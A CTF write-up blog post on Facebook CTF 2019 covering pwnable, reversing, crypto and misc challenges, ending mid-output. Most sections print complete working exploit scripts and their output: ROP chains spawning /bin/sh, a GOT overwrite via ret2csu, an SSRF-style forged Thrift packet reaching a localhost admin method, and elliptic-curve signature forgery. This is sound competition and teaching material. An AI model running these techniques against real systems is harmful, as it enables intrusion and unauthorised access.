CTFするぞ

CTF以外のことも書くよ

Facebook CTF 2019 Writeup

Facebook CTF 2019 had been held from June 1st 00:00 UTC to June 2nd 00:00 UTC. I played this CTF as a member of zer0pts. We got 9372pts and reached 18th place. I solved several challs and gained 4718pts.

f:id:ptr-yudai:20190603091033p:plain

The CTF was pretty hard but I really enjoyed it. Thank you for holding such a nice CTF!

The challenge tasks and my solvers are available here. And this is the python library used in my solvers.

[pwnable 100pts] overfloat

Description: nc challenges.fbctf.com 1341
File: overfloat.tar.gz

The binary has a stack overflow in the float array. We can simply overwrite the return address and do ROP since the SSP is disabled. I leaked the libc address in the 1st ROP and then went back to _start, and got the shell in the 2nd ROP.

from ptrlib import *
from struct import pack, unpack

elf = ELF("./overfloat")
libc = ELF("./libc-2.27.so")
#sock = Process("./overfloat")
sock = Socket("challenges.fbctf.com", 1341)

rop_pop_rdi = 0x00400a83
plt_puts = 0x400690

def rop(payload):
    for i in range(0x28 // 8 + 9):
        sock.recvuntil(": ")
        sock.sendline("3.14")
    for i in range(0, len(payload), 4):
        sock.recvuntil(": ")
        sock.sendline(repr(unpack('f', payload[i:i+4])[0]))
    sock.recvuntil(": ")
    sock.sendline("done")

# Stage 1
payload = p64(rop_pop_rdi)
payload += p64(elf.got("printf"))
payload += p64(plt_puts)
payload += p64(elf.symbol("_start"))
rop(payload)
sock.recvuntil("BON VOYAGE!\n")
addr_printf = u64(sock.recvline().rstrip())
libc_base = addr_printf - libc.symbol("printf")
dump("libc base = " + hex(libc_base))

# Stage 2
rop_pop_rax = libc_base + 0x000439c7
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rdx = libc_base + 0x00001b96
rop_syscall = libc_base + 0x000013c0

payload = p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(rop_pop_rsi)
payload += p64(0)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)
rop(payload)

sock.interactive()

Good.

$ python solve.py 
[+] Socket: Successfully connected to challenges.fbctf.com:1341
[ptrlib] libc base = 0x7f298264d000
[ptrlib]$ BON VOYAGE!
cat /home/overfloat/flag
[ptrlib]$ fb{FloatsArePrettyEasy...}

[pwnable 410pts] otp_server

Description: nc challenges.fbctf.com 1338
File: otp_server.tar.gz

We can set key and encrypt a message, which are located in the bss section. At first glance there seems no overflow. As I looked into the encryption function, I found the cause of the vulnerability lies in snprintf. It properly stores our input with maximum length 0x104. However, the return value of snprintf is not the size finally stored but the size we tried to store. Also, the buffer is right next to the key and we can coalesce those two regions. This means we can control the return value of snprintf between 0 to 0x204, which leads a buffer overread. Now we got the libc address, but how can we get the shell?

Using the same vulnerability, we can overwrite the return address. Although the nonce token is generated randomly, we can check it before exitting the main function. And we can overwrite the return address byte by byte. This method requires long time to finish the exploit, but I think it's the intended way.

from ptrlib import *

def set_key(key):
    sock.recvuntil(">>> ")
    sock.sendline("1")
    sock.recvline()
    sock.send(key)

def encrypt(msg):
    sock.recvuntil(">>> ")
    sock.sendline("2")
    sock.recvline()
    sock.send(msg)
    sock.recvline()
    return sock.recvline().rstrip()

libc = ELF("./libc-2.27.so")
#sock = Process("./otp_server")
sock = Socket("challenges3.fbctf.com", 1338)
delta = 0xe7

# Leak libc & canary
set_key("\xff" * 0x108)
result = encrypt("\xff" * 0x100)
canary = result[0x108:0x110]
addr_libc_start_main = u64(result[0x118:0x120])
libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta
dump("libc base = " + hex(libc_base))
dump(b"canary = " + canary)

def overwrite(pos, target):
    x = 0
    setFlag = True
    while True:
        if setFlag:
            setFlag = False
            set_key("A" * (0x18 + pos - x) + "\x00")
        nonce = u64(encrypt("A" * 0x100)[:4]) ^ 0x41414141
        if (target >> (8 * (7 - x))) & 0xff == nonce >> 24:
            print(hex(target), hex(nonce >> 8))
            setFlag = True
            x += 1
            if x == 8:
                break

rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rax = libc_base + 0x000439c7
rop_ret = libc_base + 0x000008aa
rop_syscall = libc_base + 0x000013c0
overwrite(0x30, rop_syscall)
overwrite(0x28, 59)
overwrite(0x20, rop_pop_rax)
overwrite(0x18, 0)
overwrite(0x10, rop_pop_rsi)
overwrite(0x08, libc_base + next(libc.find("/bin/sh")))
overwrite(0x00, rop_pop_rdi)

#_ = input()
sock.sendline("3")
sock.interactive()

Thank you admins for preparing the server in Tokyo :)

$ python solve.py 
[+] Socket: Successfully connected to challenges3.fbctf.com:1338
[ptrlib] libc base = 0x7f1da9615000
[ptrlib] b'canary = \x00\xdd\xc1\xa1<X\x1f\x95'
0x7f1da96163c0 0x7186
0x7f1da96163c0 0x42f
0x7f1da96163c0 0x7f86c1
0x7f1da96163c0 0x1d1602
0x7f1da96163c0 0xa93e39
0x7f1da96163c0 0x610472
0x7f1da96163c0 0x631ad4
0x7f1da96163c0 0xc0757f
0x3b 0xe653
0x3b 0xaa15
0x3b 0x26b7
0x3b 0xf359
0x3b 0xea64
0x3b 0xfebf
0x3b 0x7d33
0x3b 0x3be623
0x7f1da96589c7 0x5efa
0x7f1da96589c7 0x606f
0x7f1da96589c7 0x7fb553
0x7f1da96589c7 0x1d5b94
0x7f1da96589c7 0xa9b825
0x7f1da96589c7 0x65be41
0x7f1da96589c7 0x890277
0x7f1da96589c7 0xc78c49
0x0 0x1704
0x0 0x84f5
0x0 0x4fe3
0x0 0x9d29
0x0 0x40cf
0x0 0xab08
0x0 0x9ff1
0x0 0xe7f2
0x7f1da9638e6a 0x3084
0x7f1da9638e6a 0x5b7d
0x7f1da9638e6a 0x7fb9e7
0x7f1da9638e6a 0x1df8d0
0x7f1da9638e6a 0xa91371
0x7f1da9638e6a 0x63ea9f
0x7f1da9638e6a 0x8eace3
0x7f1da9638e6a 0x6a0c1a
0x7f1da97c8e9a 0xc460
0x7f1da97c8e9a 0xc851
0x7f1da97c8e9a 0x7f005f
0x7f1da97c8e9a 0x1da11d
0x7f1da97c8e9a 0xa9d63c
0x7f1da97c8e9a 0x7cb6b2
0x7f1da97c8e9a 0x8e7195
0x7f1da97c8e9a 0x9a03e9
0x7f1da963655f 0x8b48
0x7f1da963655f 0xae89
0x7f1da963655f 0x7fbafa
0x7f1da963655f 0x1de4ef
0x7f1da963655f 0xa97bea
0x7f1da963655f 0x63ad41
0x7f1da963655f 0x658341
0x7f1da963655f 0x5fe3ba
[ptrlib]$ ----- END ROP ENCRYPTED MESSAGE -----
1. Set Key
2. Encrypt message
3. Exit
>>> [ptrlib]$ cat /home/otp_server/flag
fb{One_byte_aT_a_time}

[misc 100pts] homework_assignment_1337

Description: Your homework assignment this evening is to write a simple Thrift client.
Your client must call the ping method on the homework server challenges.fbctf.com:9090. The server allows you to check your work, try using the server to ping facebook.com or something.
The ping.thrift file is provided below.
File: homework_assignment_1337.tar.gz

We are given a thrift file. Let's use the PingBot.

if __name__ == '__main__':
    client = make_client(PingBot, "challenges.fbctf.com", 9090)
    arg = Ping(Proto.TCP, "facebook.com:80", "Hello")
    pong = client.ping(arg)
    print(pong)

Hmm, it seems a proxy rather than a echo server.

$ python solve.py 
Pong(code=0, data='HTTP/1.1 400 Bad Request\r\n')

The thrift file has a curious function that cannot be used.

  // You do not have to call this method as part of your homework.
  // I added this to check people's work, it is my admin interface so to speak.
  // It should only work for localhost connections either way, if your client
  // tries to call it, your connection will be denied, hahaha!
  PongDebug pingdebug(1:Debug dummy),

OK, so let's send a forgery packet of the PongDebug on the server.

from ptrlib import p32
import thriftpy
from thriftpy.rpc import make_client

ping = thriftpy.load(
    'ping.thrift', module_name="ping_thrift"
)
Ping = ping.Ping
Pong = ping.Pong
Debug = ping.Debug
PongDebug = ping.PongDebug
PingBot = ping.PingBot
Proto = ping.Proto

if __name__ == '__main__':
    client = make_client(PingBot, "challenges.fbctf.com", 9090)
    packet = b"\x80\x01\x00\x01"
    packet += p32(len("pingdebug"), order='big')
    packet += b"pingdebug"
    packet += b"\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x7b\x00\x00"
    arg = Ping(Proto.TCP, "localhost:9090", packet)
    pong = client.ping(arg)
    print(pong)

Perfect!

$ python solve.py 
Pong(code=0, data=b'\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00{\x00\x00\x00\x00\x00')

[reversing 100pts] imageprot

Description: We have had some issues with profile photo theft as of late, so I built a proof of concept vault to store your pictures, it's so secure, even I don't know how to get the photo back out!
File: imageprot.tar.gz

It's an ELF binary written with Rust. I found something curious in the binary.

$ string imageprot -n 100 | less
/rustc/6c2484dc3c532c052f159264e970278d8b77cdc9/src/libcore/str/pattern.rs9fjfwCA9dx1pMmVgcW90aF11LQr1wSB4ZVhJRl8uY2MudQogICggIi81ICNfIF8hYC8KIKdJIHggLiJhIF4gRiIuIF8sCYAhICNcXzthIiwtLYJifCsvCiAhICAiXtwjICQgICAhOy8IaCAgICDfsV8YcEhPVDBcYk9QABMOECAYImtvJmQKCiAgICAVfxJtcEBhcG90IE3pMIbTryCSJMmgKcfC1mxQoMogMSgiaCxZIyF9IF0xYS0bId/kIGMgLiNlIV8hYSMvIF8sCiAgICBdXThkJysqJStqd9DrCpUwICIhI38iJCMlJSQkOy8LXSEiIyAkTVoyARFhJkx+aycCUTQSobGBaAFgk6EfWPHQBBNPT9kpfnN2aHZuBXsaBSMgFBUWFxgZGhxqa2hpF0Nqc3R1dnl/eXo8RDpGB0ZjSlNUVQpXVlsao9ql5qWmqdW+mbS1trfExqHCgYmIi4XI1YWduZSVlpeYmcbi4+Tl5ufo8uXY8/T19vf4hYXBwsPExbnI4snK0dLT1NXWl9rb2J
...
/VgHajKFLJ53yD6MimpC98gTOVxgr34zK9H9M5YDKEyFQxfJA8sC6UbF7Hc6ypKEvDjveeZw9I1ftUA7OaV+bgFwoPd6Z00XT/RX0N1VmiHrE/XtOkff+dqYDsNsDJgHupTWb7yxsyTOTNsEOmhSJ8RO2/FbfFlNKZaV78NbuNsnZxbwrkfWGBy5zkci8P9kp387vgPsTBfOo9lIDRxJSI2cyUKHnFlIDSHPHsz/i9Jc7lYldIw1TVAvRS5rc3d8jIBogTKK/YL6jmrEUjNbm16NF9xJToKcWU0IC1lOiIxZUogMWc6IA5pHiHf89H2d5ngKAWPrShI3q8lIoKgKgiCoHYIgqAqCIKgMQeooCoIgqAqdP2gKgiCoFUHqKAqCIKgKgiC4CgKgOAAIoKgKgiPvVEI1uVrWM30KnWfrQAigqAqCIKgKneMriQG/YoqCIKgKgaFoCp3gt8qSIyKKgiCoHYIjKJqCPygagqMoFUEqKAqCILcVRPCoicFj6JqVI2vAAiCoCoIgvwqCIKgH9/5

It seems to be a base64-encoded string of a big data. I extracted it and decoded the file.

$ hexdump -C pon | less
00000000  f5 f8 df c0 20 3d 77 1d  69 32 65 60 71 6f 74 68  |.... =w.i2e`qoth|
00000010  5d 75 2d 0a f5 c1 20 78  65 58 49 46 5f 2e 63 63  |]u-... xeXIF_.cc|
00000020  2e 75 0a 20 20 28 20 22  2f 35 20 23 5f 20 5f 21  |.u.  ( "/5 #_ _!|
00000030  60 2f 0a 20 a7 49 20 78  20 2e 22 61 20 5e 20 46  |`/. .I x ."a ^ F|
00000040  22 2e 20 5f 2c 09 80 21  20 23 5c 5f 3b 61 22 2c  |". _,..! #\_;a",|
00000050  2d 2d 82 62 7c 2b 2f 0a  20 21 20 20 22 5e dc 23  |--.b|+/. !  "^.#|
00000060  20 24 20 20 20 21 3b 2f  08 68 20 20 20 20 df b1  | $   !;/.h    ..|
00000070  5f 18 70 48 4f 54 30 5c  62 4f 50 00 13 0e 10 20  |_.pHOT0\bOP.... |
...

It has some string such as eXIF and pHOT0\bOP, which reminds me of JPEG header. I tried to find the XOR key of this file and found the first part to be like \n -=[ teapot ]=-\n\n but the key was too long to restore. Let's find the key in another way.

When I tried this challenge, @theoldmoon0602 had already found that the binary works if it could resolve challenges.fbctf.com. @theoldmoon0602 also found that the binary tries to access to http://challenges.fbctf.com:80/vault_is_intern. So, I added the following config to my /etc/hosts

127.0.0.1       challenges.fbctf.com

and set up the following simple server.

from flask import *

app = Flask(__name__)

@app.route('/vault_is_intern', methods=['GET'])
def vault():
    return "Hello, World"

if __name__ == '__main__':
    app.run(
        host = '0.0.0.0',
        port = '80',
        debug=True
    )

It seems it's working. (It quits when something like gdb is running on the machine.)

$ ./imageprot 
Welcome to our image verification and protection software!
This program ensures that malicious hackers cannot access our
secret images.
[+] Internal network connectivity verified.
[+] Image integrity verified, exiting.

I checked the packets in Wireshark and found a curious DNS packet.

f:id:ptr-yudai:20190603094507p:plain

It tries to access to httpbin.org...? I added the following line to /etc/hosts and run the binary again.

127.0.0.1       httpbin.org
$ ./imageprot 
Welcome to our image verification and protection software!
This program ensures that malicious hackers cannot access our
secret images.
[+] Internal network connectivity verified.
thread 'main' panicked at 'Failed to fetch URI: Error(Hyper(Error(Connect, Os { code: 111, kind: ConnectionRefused, message: "Connection refused" })), "https://httpbin.org/status/418")', src/libcore/result.rs:997:5
note: Run with `RUST_BACKTRACE=1` environment variable to display a backtrace.

Finally found the teapot!

$ curl https://httpbin.org/status/418

    -=[ teapot ]=-

       _...._
     .'  _ _ `.
    | ."` ^ `". _,
    \_;`"---"`|//
      |       ;/
      \_     _/
        `"""`

Let's restore the JPEG file.

with open("pon", "rb") as f:
    buf = f.read()

with open("key", "rb") as f:
    key = f.read()

for i in range(len(buf)):
    buf = buf[:i] + bytes([buf[i]^key[i%len(key)]]) + buf[i+1:]

with open("out", "wb") as f:
    f.write(buf)

Great!

f:id:ptr-yudai:20190603095708j:plain

[misc 896pts] evil

Description: I'm trying to break into the EVIL club and I've figured out their password. I still can't get in though because they now have a new secret evil handshake. I've attached what I captured from the old handshake, maybe it will help.
Server: nc 35.155.188.29 8000
File: evil.tar.gz

@st98 considered that this challenge might be related to the evil bit. So, I tried this one because I like the evil bits :)

The given pcap file has a TCP stream:

What's the secret password then?
The word of the day is lemons.
Every Villain Is Lemons
Welcome to the club evildoer

The packets don't have the evil bits set to 1. However, I found that every evil bit is set to 1 in the remote server.

f:id:ptr-yudai:20190603100139p:plain

So, let's set the evil bit to 1 and access to the server. I used this kernel module to modify the evil bit for every packet.

# lsmod | grep evil
evil                   16384  0
# nc 35.155.188.29 8000
So you know the evil handshake?
What's the secret password then?
The word of the day is loganberries.
Every Villain Is Loganberries
fb{th4t5_th3_3vi1est_th1ng_!_c4n_im4g1ne}

[pwnable 494pts] rank

Description: nc challenges.fbctf.com 1339
File: rank.tar.gz

There are 12 titles in the bss section but we can access to arbitrary range. In order to leak the libc address, I prepared the address to write@got in the buffer used in the user input.

# libc leak
payload = b"A" * 8 + p64(elf.got("write"))
evil_show(payload)
rank(0, (addr_buf - addr_list) // 8 + 1)
addr_write = u64(show()[0])
libc_base = addr_write - libc.symbol("write")
addr_one_gadget = libc_base + 0x10a38c
dump("libc base = " + hex(libc_base))

We also have arbitrary overwrite on the stack in the Rank function. It seems pretty easy to get the shell...? No. The problem is that the result of strtol is cast to int, which means we can write only 32-bit values. So, we can't call system("/bin/sh") directly.

Let's craft a ROP gadget. There may be useful ROP gadgets hopefully. I found some gadgets such as pop rdi;, pop rsi; pop r15; as usual. However, there is no gadget to set rdx like pop rdx;. We need to change rdx in order to call read(rdi, rsi, rdx); because rdx is set to 0 before exitting the main function.

Don't worry. I have another plan: ret2csu.

Even if we can't set rdi, rsi and rdx, we can use __libc_csu_init to call some functions with maximum 3 arguments. I called read(0, <strtol@got>, 8) to change strtol to system and then called _start. The last thing to do is send /bin/sh in the menu.

from ptrlib import *

def show():
    sock.recvuntil("> ")
    sock.sendline("1")
    ret = []
    for i in range(12):
        data = sock.recvline().rstrip().split(b". ")
        ret.append(data[1])
    return ret

def evil_show(fmt):
    sock.recvuntil("> ")
    sock.sendline(fmt)

def rank(i, pos):
    sock.recvuntil("> ")
    sock.sendline("2")
    sock.recvuntil("t1tl3> ")
    sock.sendline(str(i))
    sock.recvuntil("r4nk> ")
    sock.sendline(str(pos))

libc = ELF("./libc-2.27.so")
elf = ELF("./r4nk")
#sock = Process("./r4nk")
sock = Socket("challenges.fbctf.com", 1339)
addr_start = 0x400018 # address that points <start>
addr_list = 0x602080
addr_buf = 0x602100
plt_read = 0x4005f0
rop_pop_rdi = 0x00400b43
rop_pop_rsi_r15 = 0x00400b41
rop_prepare_reg = 0x00400b3a
rop_csu_init = 0x400b20

# libc leak
payload = b"A" * 8 + p64(elf.got("write"))
evil_show(payload)
rank(0, (addr_buf - addr_list) // 8 + 1)
addr_write = u64(show()[0])
libc_base = addr_write - libc.symbol("write")
addr_one_gadget = libc_base + 0x10a38c
dump("libc base = " + hex(libc_base))

# craft ROP chain
payload = [
    rop_prepare_reg,
    0,                 # rbx
    1,                 # rbp == rbx + 1
    elf.got("read"),   # r12 = &<func>
    0,                 # r13 = arg1
    elf.got("strtol"), # r14 = arg2
    0x8,               # r15 = arg3
    rop_csu_init,
    0xdeadbeef,
    0,          # rbx
    1,          # rbp == rbx + 1
    addr_start, # r12 = &<func>
    0,          # r13 = arg1
    0,          # r14 = arg2
    0,          # r15 = arg3
    rop_csu_init
]
for i, addr in enumerate(payload):
    assert 0 <= addr <= 0xffffffff
    rank(19 + i, addr)

# ROP it
sock.recvuntil("> ")
sock.sendline("3")

sock.send(p64(libc_base + libc.symbol("system")))

# get the shell!
sock.recvuntil("> ")
sock.sendline("/bin/sh\x00")

sock.interactive()

Cool!

$ python solve.py 
[+] Socket: Successfully connected to challenges.fbctf.com:1339
[ptrlib] libc base = 0x7f5a3050a000
[ptrlib]$ cat /home/r4nk/flag
[ptrlib]$ flag{wH0_n33ds_pop_rdx_4NYw4y}

[misc 961pts] whysapp

Description: We're working on a brand new sort of encrypted version of Whatsapp, we call it Whysapp. We took the base technology behind Whatsapp and upgraded it to use a super shiny new language.
File: whysapp.tar.gz

The server returns a base64-encoded string.

$ nc challenges.fbctf.com 4001
G+jdtmUJh5RurA2yk42yJlZRSIEZKcbWZ+49KB/uhJ4s7dqZiOUTdndHzpPeuG1hOvJUAro/1ob8
3RWUkHOui+X4jKyGxUhkfR/tg1el+9Q=

We are given a beam file of the Elixir language. I don't know of Elixir at all but could disassemble it just by following the steps in this article. Let's see how it works.

This is the recv function:

  {:function, :recv, 1, 20,
   [{:line, 19}, {:label, 19},
    {:func_info, {:atom, Whysapp}, {:atom, :recv}, 1}, {:label, 20},
    {:allocate, 1, 1}, {:move, {:integer, 0}, {:x, 1}},
    {:move, {:x, 0}, {:y, 0}}, {:line, 20},
    {:call_ext, 2, {:extfunc, :gen_tcp, :recv, 2}},
    {:test, :is_tagged_tuple, {:f, 21}, [{:x, 0}, 2, {:atom, :ok}]},
    {:get_tuple_element, {:x, 0}, 1, {:x, 0}}, {:line, 21},
    {:call_ext, 1, {:extfunc, :base64, :decode, 1}},
    {:move, {:literal, "yeetyeetyeetyeet"}, {:x, 1}}, {:move, {:x, 0}, {:x, 2}},
    {:move, {:atom, :aes_ecb}, {:x, 0}}, {:line, 22},
    {:call_ext, 3, {:extfunc, :crypto, :block_decrypt, 3}},
    {:move, {:literal, <<0>>}, {:x, 1}}, {:line, 23},
    {:call_ext, 2, {:extfunc, String, :trim_trailing, 2}},
    {:move, {:x, 0}, {:x, 1}}, {:move, {:y, 0}, {:x, 0}}, {:line, 24},
    {:call_ext_last, 2, {:extfunc, Whysapp, :process, 2}, 1}, {:label, 21},
    {:line, 20}, {:badmatch, {:x, 0}}]},

It uses AES ECB cipher with the key set to yeetyeetyeetyeet, and passes the decrypted data to process. I decrypted the packets with this key and found there are several types of messages such as cat:cat, math:53+72 and so on. I passed this message to the process function of Whysapp and found the following rule.

Given nessage Message to send
msg:"X" "random int":msg:"X"
cat:cat "random int":cat:cat
ping:ping "random int":ping:pong
math:"exp" "random int":math:"evaluated exp"

I made the client and communicated with the server:

...
[ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] >>>995757198:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] <<< math:47*32
[ptrlib] >>>58844597:math:1504
[ptrlib] <<< You've exhausted your free messages limit. Only users with low IDs can communicate beyond this point.

Let's set the random id to 1.

[ptrlib] <<< math:26*19
[ptrlib] >>>1:math:494
[ptrlib] <<< math:82*24
[ptrlib] >>>1:math:1968
[ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] >>>1:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] <<< flag:Almost there. Only zuck can issue the flag command.

[ptrlib] >>>1:flag:Almost there. Only zuck can issue the flag command.

[ptrlib] <<< msg:You're not zuck!!!!!!!!

I had been stuck here and tried brute force.

...
[ptrlib] Attempt: 4
[ptrlib] fb{whys_app_when_you_can_whats_app}

Found the flag haha.

from Crypto.Cipher import AES
import base64
import random
from ptrlib import *

key = "yeetyeetyeetyeet"
crypto = AES.new(key, AES.MODE_ECB)

flag = False
def process(cipher, rid=1):
    global flag
    plain = crypto.decrypt(base64.b64decode(cipher)).rstrip(b"\x00")
    plain = bytes2str(plain)
    #dump("<<< " + plain)
    
    r = 0
    #r = random.randint(1, 1000000000)
    try:
        ope, data = plain.split(":")
    except:
        print(plain)
        exit()

    if flag and ope == 'msg':
        dump("Attempt: " + str(rid))
        if "You're not zuck!!!!!!!!" not in data:
            dump(data)

    if ope == 'math':
        # math
        result = eval(data)
        plain = "{}:{}:{}".format(r, "math", result)
    elif ope == 'ping':
        # ping
        plain = "{}:ping:pong".format(r)
    elif ope == 'flag':
        # flag
        plain = "{}:flag:{}".format(rid, data) # ?????
        flag = True
    else:
        # cats
        plain = "{}:{}".format(r, plain)
    #dump(">>>" + plain)
    
    plain += "\x00" * (16 - (len(plain) % 16))
    cipher = base64.b64encode(crypto.encrypt(plain))
    return cipher

log.level = ["warning"]
for r in range(0, 0x100000000):
    sock = Socket("challenges.fbctf.com", 4001)
    flag = False
    while True:
        c = sock.recv()
        if c is None:
            break
        s = process(c, r)
        sock.sendline(s)
    sock.close()

[crypto 919pts] storagespace

Description: In order to fit in with all the other CTFs out there, I've written a secure flag storage system!
It accepts commands in the form of json. For example: help(command="flag") will display help info for the flag command, and the request would look like:
{"command": "help", "params": {"command": "flag"}}
flag(name: Optional[str])
Retrieve flag by name.
{"command": "flag", "params": {"name": "myflag"}}
flag{this_is_not_a_real_flag}
You can access it at nc challenges.fbctf.com 8089
P.S. some commands require a signed request. The sign command will take care of that for you, but no way you'll convince me to sign the flag command xD
Server: nc challenges.fbctf.com 8089

We can issue some commands. First of all I wrote helper functions.

from ptrlib import *
import json
import base64
import re
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import hashlib
import sys
import time

def sign(payload):
    sign_payload = {"command": "sign", "params":{
    "command": payload["command"], "params": payload["params"]
    }}
    sock.recv()
    sock.sendline(json.dumps(sign_payload))
    w = sock.recvline()
    s = json.loads(w.rstrip())
    return s

def info():
    payload = {"command": "info", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    curve = sock.recvline().rstrip()
    generator = sock.recvline().rstrip()
    pubkey = sock.recvline().rstrip()
    r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve)
    curve = (int(r[0][0]), int(r[0][1]))
    prime = int(r[0][2])
    r = re.findall(b"generator: \((\d+), (\d+)\)", generator)
    G = (int(r[0][0]), int(r[0][1]))
    r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey)
    pubkey = (int(r[0][0]), int(r[0][1]))
    return curve, prime, G, pubkey

def spec(mode="all"):
    payload = {"command": "spec", "params": {"mode": mode}}
    payload["sig"] = sign(payload)["sig"]
    sock.sendline(json.dumps(payload))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    exit()

def save(name, flag):
    payload = {"command": "save","params": {"name": name, "flag": flag}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    sock.recvuntil("flag stored\n")

def list():
    payload = {"command": "list", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    res = sock.recv()
    return res.split(b"\n")[:-1]

list shows us that there is just one flag named fbctf. So, our goal is to issue {"command": "flag", "params": {"name": "fbctf"}} with a valid signature.

The server uses an elliptic curve to sign/verify a message.

 E: y^{2} = x^{3} + Ax + B \mod p

The signature is generated like this:

 Q = kG (k \leftarrow \lbrace 1, n-1 \rbrace)

 r = sha256(msg | str(Q.x))

 s = (k - r \times key) \mod n

 sig = (r, s)

(G is a generator of  E and n is the order of  E.) The server verifies a message like this:

 r, s = sig

 Q = sG + rH

 r ?= sha256(msg | str(Q.x))

The point is that the order of  E is so small that we can successfully calculate the discrete log problem. Let's make a fake signature for our new message.

If we can find t such that  H = tG, we can find s for an arbitrary r (Q = kG) because  Q = kG = sG + rtG = (s + rt)G holds. So, we just need to calculate  s = k - rt \mod n. I divided the process into communication part (solve.py) and calculation part (solve.sage).

solve.py:

from ptrlib import *
import json
import base64
import re
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import hashlib
import sys
import time

def sign(payload):
    sign_payload = {"command": "sign", "params":{
    "command": payload["command"], "params": payload["params"]
    }}
    sock.recv()
    sock.sendline(json.dumps(sign_payload))
    w = sock.recvline()
    s = json.loads(w.rstrip())
    return s

def info():
    payload = {"command": "info", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    curve = sock.recvline().rstrip()
    generator = sock.recvline().rstrip()
    pubkey = sock.recvline().rstrip()
    r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve)
    curve = (int(r[0][0]), int(r[0][1]))
    prime = int(r[0][2])
    r = re.findall(b"generator: \((\d+), (\d+)\)", generator)
    G = (int(r[0][0]), int(r[0][1]))
    r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey)
    pubkey = (int(r[0][0]), int(r[0][1]))
    return curve, prime, G, pubkey

def spec(mode="all"):
    payload = {"command": "spec", "params": {"mode": mode}}
    payload["sig"] = sign(payload)["sig"]
    sock.sendline(json.dumps(payload))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    exit()

def save(name, flag):
    payload = {"command": "save","params": {"name": name, "flag": flag}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    sock.recvuntil("flag stored\n")

def list():
    payload = {"command": "list", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    res = sock.recv()
    return res.split(b"\n")[:-1]

if __name__ == '__main__':
    fake_payload = {"command": "flag", "params": {"name": "fbctf"}}
    fake_msg = json.dumps(fake_payload, sort_keys=True)
    
    sock = Socket("challenges.fbctf.com", 8089)
    sock.recvuntil("patience\n")
    param, n, G, H = info()
    curve = Curve(
        name = "taro",
        p = n,
        q = n,
        a = param[0],
        b = param[1],
        gx = G[0],
        gy = G[1]
    )
    G = Point(G[0], G[1], curve=curve)
    H = Point(H[0], H[1], curve=curve)
    dump("curve: y^2 = x^3 + {}x + {} mod {}".format(param[0], param[1], n))
    dump("G = ({}, {})".format(G.x, G.y))
    dump("H = ({}, {})".format(H.x, H.y))
    payload = {"command": "help", "params": {}}
    l = base64.b64decode(sign(payload)["sig"]).split(b"|")
    r, s = int(l[0]), int(l[1])
    dump("r, s = {}, {}".format(s, r))
    dump("new_msg = " + fake_msg)
    with open("input.txt", "w") as f:
        f.write("{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n".format(n, param[0], param[1], s, r, G.x, G.y, H.x, H.y))
    while True:
        try:
            sig = sys.stdin.readline().rstrip()
            if sig:
                break
        finally:
            time.sleep(1)
    dump("sig = " + sig)
    payload = {"command": "flag", "params": {"name": "fbctf"}, "sig": sig}
    sock.recv()
    sock.sendline(json.dumps(payload))
    print(sock.recv())
    
    sock.interactive()

solve.sage:

import hashlib
import base64
fake_msg = '{"command": "flag", "params": {"name": "fbctf"}}'

n = int(raw_input("n = "))
A = int(raw_input("A = "))
B = int(raw_input("B = "))
s = int(raw_input("s = "))
r = int(raw_input("r = "))
Gx = int(raw_input("Gx = "))
Gy = int(raw_input("Gy = "))
Hx = int(raw_input("Hx = "))
Hy = int(raw_input("Hy = "))

F = Zmod(n)
E = EllipticCurve(F, [A, B])
G = E.point((Gx, Gy))
H = E.point((Hx, Hy))

k = n - 314
Q = G * k
r = int(hashlib.sha256(fake_msg + str(Q[0])).hexdigest(), 16)
pub = discrete_log(H, G, operation='+')
assert r * H == pub * r * G
s = (k - pub * r) % E.order()
sig = base64.b64encode(str(r) + "|" + str(s))

print(pub)
print(Q)
print(s*G + r*H)
print(sig)

Terminal 1:

$ python client.py 
[+] Socket: Successfully connected to challenges.fbctf.com:8089
